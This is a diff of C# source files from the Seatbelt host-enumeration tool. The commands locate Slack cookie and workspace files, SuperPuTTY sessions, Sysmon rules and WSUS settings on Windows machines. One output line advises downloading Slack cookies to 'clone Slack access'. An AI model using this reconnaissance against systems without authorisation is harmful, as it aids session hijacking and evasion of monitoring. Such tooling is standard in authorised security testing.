yield return new SlackDownloadsDTO(
|
||||||
|
userName,
|
||||||
|
Downloads
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SlackDownloadsDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SlackDownloadsDTO(string userName, List<Download> downloads)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Downloads = downloads;
|
||||||
|
}
|
||||||
|
public string UserName { get; }
|
||||||
|
public List<Download> Downloads { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(SlackDownloadsDTO))]
|
||||||
|
internal class SlackDownloadsFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public SlackDownloadsFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (SlackDownloadsDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" Downloads ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var download in dto.Downloads)
|
||||||
|
{
|
||||||
|
WriteLine($" TeamID : {download.TeamID}");
|
||||||
|
WriteLine($" UserId : {download.UserID}");
|
||||||
|
WriteLine($" DownloadPath : {download.DownloadPath}");
|
||||||
|
WriteLine($" StartTime : {download.StartTime}\n");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,119 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class SlackPresenceCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SlackPresence";
|
||||||
|
public override string Description => "Checks if interesting Slack files exist";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SlackPresenceCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var slackBasePath = $"{dir}\\AppData\\Roaming\\Slack\\";
|
||||||
|
if (!Directory.Exists(slackBasePath))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DateTime? cookiesLastWriteTime = null,
|
||||||
|
workspacesLastWriteTime = null,
|
||||||
|
downloadsLastWriteTime = null;
|
||||||
|
|
||||||
|
var userSlackCookiesPath = $"{dir}\\AppData\\Roaming\\Slack\\Cookies";
|
||||||
|
if (File.Exists(userSlackCookiesPath))
|
||||||
|
{
|
||||||
|
cookiesLastWriteTime = File.GetLastWriteTime(userSlackCookiesPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
var userSlackWorkspacesPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-workspaces";
|
||||||
|
if (File.Exists(userSlackWorkspacesPath))
|
||||||
|
{
|
||||||
|
workspacesLastWriteTime = File.GetLastWriteTime(userSlackWorkspacesPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
var userSlackDownloadsPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-downloads";
|
||||||
|
if (File.Exists(userSlackDownloadsPath))
|
||||||
|
{
|
||||||
|
downloadsLastWriteTime = File.GetLastWriteTime(userSlackDownloadsPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cookiesLastWriteTime != null || workspacesLastWriteTime != null || downloadsLastWriteTime != null)
|
||||||
|
{
|
||||||
|
yield return new SlackPresenceDTO(
|
||||||
|
folder: $"{dir}\\AppData\\Roaming\\Slack\\",
|
||||||
|
cookiesLastWriteTime,
|
||||||
|
workspacesLastWriteTime,
|
||||||
|
downloadsLastWriteTime
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SlackPresenceDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SlackPresenceDTO(string folder, DateTime? cookiesLastModified, DateTime? workspacesLastModified, DateTime? downloadsLastModified)
|
||||||
|
{
|
||||||
|
Folder = folder;
|
||||||
|
CookiesLastModified = cookiesLastModified;
|
||||||
|
WorkspacesLastModified = workspacesLastModified;
|
||||||
|
DownloadsLastModified = downloadsLastModified;
|
||||||
|
}
|
||||||
|
public string? Folder { get; }
|
||||||
|
public DateTime? CookiesLastModified { get; }
|
||||||
|
public DateTime? WorkspacesLastModified { get; }
|
||||||
|
public DateTime? DownloadsLastModified { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(SlackPresenceDTO))]
|
||||||
|
internal class SlackPresenceFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public SlackPresenceFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (SlackPresenceDTO)result;
|
||||||
|
|
||||||
|
WriteLine(" {0}\n", dto.Folder);
|
||||||
|
if (dto.CookiesLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" 'Cookies' ({0}) : Download the 'Cookies' and 'storage\\slack-workspaces' files to clone Slack access", dto.CookiesLastModified);
|
||||||
|
}
|
||||||
|
if (dto.WorkspacesLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" '\\storage\\slack-workspaces' ({0}) : Run the 'SlackWorkspaces' command", dto.WorkspacesLastModified);
|
||||||
|
}
|
||||||
|
if (dto.DownloadsLastModified != DateTime.MinValue)
|
||||||
|
{
|
||||||
|
WriteLine(" '\\storage\\slack-downloads' ({0}) : Run the 'SlackDownloads' command", dto.DownloadsLastModified);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,133 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Web.Script.Serialization;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Products
|
||||||
|
{
|
||||||
|
class Workspace
|
||||||
|
{
|
||||||
|
public string? Name { get; set; }
|
||||||
|
public string? Domain { get; set; }
|
||||||
|
public string? ID { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SlackWorkspacesCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SlackWorkspaces";
|
||||||
|
public override string Description => "Parses any found 'slack-workspaces' files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User, CommandGroup.Slack };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SlackWorkspacesCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") ||
|
||||||
|
dir.EndsWith("All Users"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
var userSlackWorkspacesPath = $"{dir}\\AppData\\Roaming\\Slack\\storage\\slack-workspaces";
|
||||||
|
|
||||||
|
// parses a Slack workspaces file
|
||||||
|
if (File.Exists(userSlackWorkspacesPath))
|
||||||
|
{
|
||||||
|
var workspaces = new List<Workspace>();
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var contents = File.ReadAllText(userSlackWorkspacesPath);
|
||||||
|
|
||||||
|
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||||
|
var json = new JavaScriptSerializer();
|
||||||
|
var deserialized = json.Deserialize<Dictionary<string, object>>(contents);
|
||||||
|
|
||||||
|
foreach (var w in deserialized)
|
||||||
|
{
|
||||||
|
var settings = (Dictionary<string, object>)w.Value;
|
||||||
|
|
||||||
|
var workspace = new Workspace();
|
||||||
|
if (settings.ContainsKey("name"))
|
||||||
|
{
|
||||||
|
workspace.Name = $"{settings["name"]}";
|
||||||
|
}
|
||||||
|
if (settings.ContainsKey("domain"))
|
||||||
|
{
|
||||||
|
workspace.Domain = $"{settings["domain"]}";
|
||||||
|
}
|
||||||
|
if (settings.ContainsKey("id"))
|
||||||
|
{
|
||||||
|
workspace.ID = $"{settings["id"]}";
|
||||||
|
}
|
||||||
|
|
||||||
|
workspaces.Add(workspace);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (IOException exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
catch (Exception exception)
|
||||||
|
{
|
||||||
|
WriteError(exception.ToString());
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new SlackWorkspacesDTO(
|
||||||
|
userName,
|
||||||
|
workspaces
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SlackWorkspacesDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SlackWorkspacesDTO(string userName, List<Workspace> workspaces)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Workspaces = workspaces;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string UserName { get; }
|
||||||
|
public List<Workspace> Workspaces { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(SlackWorkspacesDTO))]
|
||||||
|
internal class SlackWorkspacesFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public SlackWorkspacesFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (SlackWorkspacesDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" Workspaces ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var workspace in dto.Workspaces)
|
||||||
|
{
|
||||||
|
WriteLine($" Name : {workspace.Name}");
|
||||||
|
WriteLine($" Domain : {workspace.Domain}");
|
||||||
|
WriteLine($" ID : {workspace.ID}\n");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,165 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Xml;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
class SuperPuttyConfig
|
||||||
|
{
|
||||||
|
public SuperPuttyConfig(string filePath, string sessionId, string sessionName, string host, string port, string protocol, string userName, string extraArgs)
|
||||||
|
{
|
||||||
|
FilePath = filePath;
|
||||||
|
SessionID = sessionId;
|
||||||
|
SessionName = sessionName;
|
||||||
|
Host = host;
|
||||||
|
Port = port;
|
||||||
|
Protocol = protocol;
|
||||||
|
UserName = userName;
|
||||||
|
ExtraArgs = extraArgs;
|
||||||
|
}
|
||||||
|
public string FilePath { get; set; }
|
||||||
|
|
||||||
|
public string SessionID { get; set; }
|
||||||
|
|
||||||
|
public string SessionName { get; set; }
|
||||||
|
|
||||||
|
public string Host { get; set; }
|
||||||
|
|
||||||
|
public string Port { get; set; }
|
||||||
|
|
||||||
|
public string Protocol { get; set; }
|
||||||
|
|
||||||
|
public string UserName { get; set; }
|
||||||
|
|
||||||
|
public string ExtraArgs { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
internal class SuperPuttyCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "SuperPutty";
|
||||||
|
public override string Description => "SuperPutty configuration files";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.User };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public SuperPuttyCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// inspired by https://github.com/EncodeGroup/Gopher/blob/master/Holes/SuperPuTTY.cs (@lefterispan)
|
||||||
|
|
||||||
|
var dirs = ThisRunTime.GetDirectories("\\Users\\");
|
||||||
|
|
||||||
|
foreach (var dir in dirs)
|
||||||
|
{
|
||||||
|
if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
var parts = dir.Split('\\');
|
||||||
|
var userName = parts[parts.Length - 1];
|
||||||
|
var configs = new List<SuperPuttyConfig>();
|
||||||
|
|
||||||
|
string[] paths = { $"{dir}\\Documents\\SuperPuTTY\\Sessions.XML"};
|
||||||
|
|
||||||
|
foreach (var path in paths)
|
||||||
|
{
|
||||||
|
if (!File.Exists(path))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
|
||||||
|
var xmlDoc = new XmlDocument();
|
||||||
|
xmlDoc.Load(path);
|
||||||
|
|
||||||
|
var sessions = xmlDoc.GetElementsByTagName("SessionData");
|
||||||
|
|
||||||
|
if (sessions.Count == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
foreach (XmlNode session in sessions)
|
||||||
|
{
|
||||||
|
var filePath = path;
|
||||||
|
var sessionID = session.Attributes["SessionId"].Value;
|
||||||
|
var sessionName = session.Attributes["SessionName"].Value;
|
||||||
|
var host = session.Attributes["Host"].Value;
|
||||||
|
var port = session.Attributes["Port"].Value;
|
||||||
|
var protocol = session.Attributes["Proto"].Value;
|
||||||
|
var user = session.Attributes["Username"].Value;
|
||||||
|
var extraArgs = session.Attributes["ExtraArgs"].Value;
|
||||||
|
|
||||||
|
var config = new SuperPuttyConfig(
|
||||||
|
filePath,
|
||||||
|
sessionID,
|
||||||
|
sessionName,
|
||||||
|
host,
|
||||||
|
port,
|
||||||
|
protocol,
|
||||||
|
user,
|
||||||
|
extraArgs
|
||||||
|
);
|
||||||
|
|
||||||
|
configs.Add(config);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (configs.Count > 0)
|
||||||
|
{
|
||||||
|
yield return new SuperPuttyDTO(
|
||||||
|
userName,
|
||||||
|
configs
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SuperPuttyDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SuperPuttyDTO(string userName, List<SuperPuttyConfig> configs)
|
||||||
|
{
|
||||||
|
UserName = userName;
|
||||||
|
Configs = configs;
|
||||||
|
}
|
||||||
|
public string UserName { get; set; }
|
||||||
|
public List<SuperPuttyConfig> Configs { get; set; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(SuperPuttyDTO))]
|
||||||
|
internal class SuperPuttyFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public SuperPuttyFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (SuperPuttyDTO)result;
|
||||||
|
|
||||||
|
WriteLine($" SuperPutty Configs ({dto.UserName}):\n");
|
||||||
|
|
||||||
|
foreach (var config in dto.Configs)
|
||||||
|
{
|
||||||
|
WriteLine($" FilePath : {config.FilePath}");
|
||||||
|
WriteLine($" SessionID : {config.SessionID}");
|
||||||
|
WriteLine($" SessionName : {config.SessionName}");
|
||||||
|
WriteLine($" Host : {config.Host}");
|
||||||
|
WriteLine($" Port : {config.Port}");
|
||||||
|
WriteLine($" Protocol : {config.Protocol}");
|
||||||
|
WriteLine($" Username : {config.UserName}");
|
||||||
|
if(!String.IsNullOrEmpty(config.ExtraArgs))
|
||||||
|
{
|
||||||
|
WriteLine($" ExtraArgs : {config.ExtraArgs}");
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
WriteLine();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,154 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using Seatbelt.Commands.Windows;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Util;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
// TODO: Grab the version of Sysmon from its binary
|
||||||
|
internal class SysmonCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "Sysmon";
|
||||||
|
public override string Description => "Sysmon configuration from the registry";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote };
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
// hashing algorithm reference from @mattifestation's SysmonRuleParser.ps1
|
||||||
|
// ref - https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595
|
||||||
|
[Flags]
|
||||||
|
public enum SysmonHashAlgorithm
|
||||||
|
{
|
||||||
|
NotDefined = 0,
|
||||||
|
SHA1 = 1,
|
||||||
|
MD5 = 2,
|
||||||
|
SHA256 = 4,
|
||||||
|
IMPHASH = 8
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum SysmonOptions
|
||||||
|
{
|
||||||
|
NotDefined = 0,
|
||||||
|
NetworkConnection = 1,
|
||||||
|
ImageLoading = 2
|
||||||
|
}
|
||||||
|
|
||||||
|
public SysmonCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote())
|
||||||
|
{
|
||||||
|
WriteError("Unable to collect. Must be an administrator.");
|
||||||
|
yield break;
|
||||||
|
}
|
||||||
|
|
||||||
|
var paramsKey = @"SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters";
|
||||||
|
|
||||||
|
var regHashAlg = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, paramsKey, "HashingAlgorithm");
|
||||||
|
var regOptions = ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, paramsKey, "Options");
|
||||||
|
var regSysmonRules = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, paramsKey, "Rules");
|
||||||
|
var installed = false;
|
||||||
|
var hashingAlgorithm = (SysmonHashAlgorithm)0;
|
||||||
|
var sysmonOptions = (SysmonOptions)0;
|
||||||
|
string? b64SysmonRules = null;
|
||||||
|
|
||||||
|
if ((regHashAlg != null) || (regOptions != null) || (regSysmonRules != null))
|
||||||
|
{
|
||||||
|
installed = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (regHashAlg != null && regHashAlg != 0)
|
||||||
|
{
|
||||||
|
regHashAlg = regHashAlg & 15; // we only care about the last 4 bits
|
||||||
|
hashingAlgorithm = (SysmonHashAlgorithm)regHashAlg;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (regOptions != null)
|
||||||
|
{
|
||||||
|
sysmonOptions = (SysmonOptions)regOptions;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (regSysmonRules != null)
|
||||||
|
{
|
||||||
|
b64SysmonRules = Convert.ToBase64String(regSysmonRules);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return new SysmonDTO(
|
||||||
|
installed,
|
||||||
|
hashingAlgorithm,
|
||||||
|
sysmonOptions,
|
||||||
|
b64SysmonRules
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class SysmonDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public SysmonDTO(bool installed, SysmonHashAlgorithm hashingAlgorithm, SysmonOptions options, string? rules)
|
||||||
|
{
|
||||||
|
Installed = installed;
|
||||||
|
HashingAlgorithm = hashingAlgorithm;
|
||||||
|
Options = options;
|
||||||
|
Rules = rules;
|
||||||
|
}
|
||||||
|
public bool Installed { get; }
|
||||||
|
|
||||||
|
public SysmonHashAlgorithm HashingAlgorithm { get; }
|
||||||
|
|
||||||
|
public SysmonOptions Options { get; }
|
||||||
|
|
||||||
|
public string? Rules { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(SysmonDTO))]
|
||||||
|
internal class SysmonTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public SysmonTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (SysmonDTO)result;
|
||||||
|
|
||||||
|
WriteLine($"Installed: {dto.Installed}");
|
||||||
|
WriteLine($"HashingAlgorithm: {dto.HashingAlgorithm}");
|
||||||
|
WriteLine($"Options: {dto.Options}");
|
||||||
|
WriteLine($"Rules:");
|
||||||
|
|
||||||
|
foreach (var line in Split(dto.Rules, 100))
|
||||||
|
{
|
||||||
|
WriteLine($" {line}");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<string> Split(string? text, int lineLength)
|
||||||
|
{
|
||||||
|
if(text == null) yield break;
|
||||||
|
|
||||||
|
var i = 0;
|
||||||
|
for (; i < text.Length; i += lineLength)
|
||||||
|
{
|
||||||
|
if (i + lineLength > text.Length)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return text.Substring(i, lineLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return text.Substring(i);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Microsoft.Win32;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class WsusClientCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "WSUS";
|
||||||
|
public override string Description => "Windows Server Update Services (WSUS) settings, if applicable";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.System};
|
||||||
|
public override bool SupportRemote => true;
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public WsusClientCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
yield return new WsusClientDTO(
|
||||||
|
(ThisRunTime.GetDwordValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU", "UseWUServer") == 1),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "WUServer"),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "UpdateServiceUrlAlternate"),
|
||||||
|
ThisRunTime.GetStringValue(RegistryHive.LocalMachine, @"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate", "WUStatusServer")
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class WsusClientDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public WsusClientDTO(bool? useWuServer, string? server, string? alternateServer, string? statisticsServer)
|
||||||
|
{
|
||||||
|
UseWUServer = useWuServer;
|
||||||
|
Server = server;
|
||||||
|
AlternateServer = alternateServer;
|
||||||
|
StatisticsServer = statisticsServer;
|
||||||
|
}
|
||||||
|
public bool? UseWUServer { get; set; }
|
||||||
|
public string? Server { get; set; }
|
||||||
|
public string? AlternateServer { get; set; }
|
||||||
|
public string? StatisticsServer { get; set; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,93 @@
|
||||||
|
#if DEBUG
|
||||||
|
using Microsoft.Win32;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
// Any command you create should not generate compiler warnings
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
// Replace all instances of "TEMPLATE" with the command name you're building
|
||||||
|
internal class TEMPLATECommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "TEMPLATE";
|
||||||
|
public override string Description => "Description for your command";
|
||||||
|
public override CommandGroup[] Group => new[] {CommandGroup.User}; // either CommandGroup.System, CommandGroup.User, or CommandGroup.Misc
|
||||||
|
public override bool SupportRemote => true; // set to true if you want to signal that your module supports remote operations
|
||||||
|
public Runtime ThisRunTime;
|
||||||
|
|
||||||
|
public TEMPLATECommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
// use a constructor of this type if you want to support remote operations
|
||||||
|
ThisRunTime = runtime;
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// .\Seatbelt\Runtime.cs contains a number of helper WMI/Registry functions that lets you implicitly perform enumeration locally or remotely.
|
||||||
|
// GetManagementObjectSearcher(string nameSpace, string query) ==> easy WMI namespace searching. See DNSCacheCommand.cs
|
||||||
|
// GetSubkeyNames(RegistryHive hive, string path) ==> registry subkey enumeration via WMI StdRegProv. See PuttySessions.cs
|
||||||
|
// GetStringValue(RegistryHive hive, string path, string value) ==> retrieve a string registry value via WMI StdRegProv. See PuttySessions.cs
|
||||||
|
// GetDwordValue(RegistryHive hive, string path, string value) ==> retrieve an uint registry value via WMI StdRegProv. See NtlmSettingsCommand.cs
|
||||||
|
// GetBinaryValue(RegistryHive hive, string path, string value) ==> retrieve an binary registry value via WMI StdRegProv. See SysmonCommand.cs
|
||||||
|
// GetValues(RegistryHive hive, string path) ==> retrieve the values under a path. See PuttyHostKeys.cs.
|
||||||
|
// GetUserSIDs() ==> return all user SIDs under HKU. See PuttyHostKeys.cs.
|
||||||
|
|
||||||
|
var providers = ThisRunTime.GetSubkeyNames(RegistryHive.LocalMachine, @"SOFTWARE\Microsoft\AMSI\Providers");
|
||||||
|
if(providers == null)
|
||||||
|
yield break; // Exit the function and don't return anything
|
||||||
|
|
||||||
|
foreach (var provider in providers)
|
||||||
|
{
|
||||||
|
var providerPath = ThisRunTime.GetStringValue(RegistryHive.LocalMachine, $"SOFTWARE\\Classes\\CLSID\\{provider}\\InprocServer32", "");
|
||||||
|
|
||||||
|
// Avoid writing output inside this function.
|
||||||
|
// If you want to format your output in a special way, use a text formatter class (see below)
|
||||||
|
// You _can_ using the following function, however it's not recommended and will be going away in the future.
|
||||||
|
// If you do, this data will not be serialized.
|
||||||
|
// WriteHost("OUTPUT");
|
||||||
|
|
||||||
|
// yield your DTO objects. If you need to yield a _collection_ of multiple objects, set one of the DTO properties to be a List or something similar.
|
||||||
|
yield return new TEMPLATEDTO(
|
||||||
|
provider,
|
||||||
|
providerPath
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is the output data transfer object (DTO).
|
||||||
|
// Properties in this class should only have getters or private setters, and should be initialized in the constructor.
|
||||||
|
// Some of the existing commands are migrating to this format (in case you see ones that do not conform).
|
||||||
|
internal class TEMPLATEDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public TEMPLATEDTO(string property, string? propertyPath)
|
||||||
|
{
|
||||||
|
Property = property;
|
||||||
|
PropertyPath = propertyPath;
|
||||||
|
}
|
||||||
|
public string Property { get; }
|
||||||
|
public string? PropertyPath { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// This is optional.
|
||||||
|
// If you want to format the output in a particular way, implement it here.
|
||||||
|
// A good example is .\Seatbelt\Commands\Windows\NtlmSettingsCommand.cs
|
||||||
|
